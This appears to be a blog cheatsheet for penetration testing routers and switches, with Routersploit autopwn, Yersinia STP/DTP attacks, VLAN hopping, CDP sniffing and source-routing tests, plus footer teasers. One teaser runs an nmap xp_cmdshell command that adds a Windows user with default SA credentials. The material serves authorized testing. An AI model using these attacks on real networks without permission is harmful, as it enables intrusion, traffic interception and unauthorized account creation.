Skip to main content

Pentesting Routers & Switches

By

 Penetration testing Routers & Switches 


Routersploit 

Nipper-ng 

dig
nslookup 
port 1999

snmpsniff (v1 is vulnerable)
test for NTP 
Routersploit

git clone https://www.github.com/threat9/routersploit.git/
cd routersploit
python3 -m pip install -r requirements.txt
python3 rsf.py 

search exploit 
search scanner
use scanners/autopwn
set target 10.10.10.10

Attacking Switches using Yersinia on Spanning Tree Protocol (STP)

good doc

https://github.com/tomac/yersinia 

#launch GUI 
yersinia -G

#
yersinia protocol -h

#Start SPN attack and capture the traffic - sensitive info will be exposed to the network
VLAN Enumeration and Hopping and Trunking 

git clone https://github.com/nccgroup/vlan-hopping.git
./frogger.sh

#VLAN hopping/ Truking can be done via yersina as well 
#Create a new fake Trunk and let the switch believe that you are a trunk and ge the info via VLAN hopping
yersinia -G
go to DTP --> enable trunking 

#
Test for Finger Services

finger -l 10.10.10.10
finger -l user@10.10.10.10
Test for CDP 

Cisco discovery protocol is a layer 2 protocol (doesnt work on any ports) to discover each other on same link 
CDP sends - Device ID, Port ID, OS, IOS Version, capabilities and Network IP 

#Capture CDP packets using TCPDump
tcpdump -nn -v -i eth0 -s 1500 -c 1 'ether[20:2] == 0x2000' 

CDP Sniffer
IP Spoofing Attacks

- ARP 
- RIP 
- Check for internal and External IP ranges
Testing for Strict and loose Source Routing 

#loose
ping -j 10.10.10.10

#strict source routing
ping -k 10.10.10.10
Decryt Cisco Password using this script - Here 
Testing Routers

- Unused ports
- check if DHCP Snooping is enabled or not - to prevent malicious assignment of IP from rouge DHCP servers, malformed DHCP traffic
- Port Security - identifying and limiting MAC Addresses 
- Correct Timestamp 


References:
 
1. Testing Switches for Vulns
2. Router pentest
3. Basic Pentest
4. Pentesting SDWAN
5. Layer -2 Testing 

MITM Cheatsheet

 

 

 

 

 

Comments

Post a Comment

Popular posts from this blog

SQL DB & SQL Injection Pentest Cheat Sheet

By
1) MSSQL Injection Cheat Sheet | pentestmonkey 2) xp_cmdshell | Red Team tales 3) PentesterMonkey SQL Injection Cheatsheet Use dbeaver for GUI Access 4) SQL Injection Explanation | Graceful Security Common Ports Microsoft SQL: 1433/TCP (default listener) 1434/UDP (browser service) 4022/TCP (service broker) 5022/TCP (AlwaysOn High Availability default) 135/TCP (Transaction SQL Debugger) 2383/TCP (Analysis Services) 2382/TCP (SQL Server Browser Service) 500,4500/UDP (IPSec) 137-138/UDP (NetBios / CIFS) 139/TCP (NetBios CIFS) 445/TCP (CIFS) Oracle SQL: 1521/TCP 1630/TCP 3938/HTTP MongoDB : 27017,27018,27019/TCP PostgreSQL: 8432/TCP MySQL: 3306/TCP SQL DB Enum with nmap: nmap -p 1433 —script ms-sql-info —script-args mssql.instance-port=1433 IP_ADDRESS nmap -Pn -n -sS —script=ms-sql-xp-cmdshell.nse IP_ADDRESS -p1433 —script-args mssql.username=sa,mssql.password=password,ms-sql-xp-cmdshell.cmd="net user bhanu bhanu123 /add" nmap -Pn -n -sS —script=ms-sql-xp-cmds...
Post a Comment
Read more

Host and Application locally and access it over the internet via ngrock

By
 ngrock creates a tunnel from your local machine to ngrock server and host it on the internet via their HTTPS url  Resister an account on ngrock and login #Download the client curl -sSL https://ngrok-agent.s3.amazonaws.com/ngrok.asc \ | sudo tee /etc/apt/trusted.gpg.d/ngrok.asc >/dev/null \ && echo "deb https://ngrok-agent.s3.amazonaws.com buster main" \ | sudo tee /etc/apt/sources.list.d/ngrok.list \ && sudo apt update \ && sudo apt install ngrok #add the authToken ngrok config add-authtoken 2p7Oc #start a python server on your application python -m http.server 3000 #start the server - use the same port as the python server (3000 in below example) ngrok http http://localhost:3000 --request-header-add "ngrok-skip-browser-warning: true" Setting up a Request Header - Login to the application --> Univeral Gateway --> Edges - Create an Edge --> Request Headers --> `ngrok-skip-browser-warning :12 - go back to overv...
Post a Comment
Read more

Cloud Pentest Cheatsheet - Azure

By
Azure Cloud offers a comprehensive ecosystem of tools and services. Among its core components are: Azure Active Directory (AAD) Azure Resource Manager (ARM) Office 365 (O365) Initial Access Try to get a user credential via OSINT/Social engineering or try to comprise a web application hosted on Azure VM. Enumerate the roles attached to the VM and try to escalate your privileges.  Entra ID Directory Role Entra ID directory roles are predefined roles that grant permissions to perform specific tasks within an Azure AD tenant. These roles are essential for managing administrative tasks in Entra ID. Types of Roles: Built-in Directory Roles Global Administrator Application Administrator User Administrator Custom Directory Roles Accessing APIs in Azure Entra ID - Access via Microsoft Graph API Endpoint {HTTP method} https://graph.microsoft.com/{version}/{resource}?{query-parameters} Azure Resource Manager API Endpoint (ARM-specific) {HTTP method} https://management.azure.com/{...
Post a Comment
Read more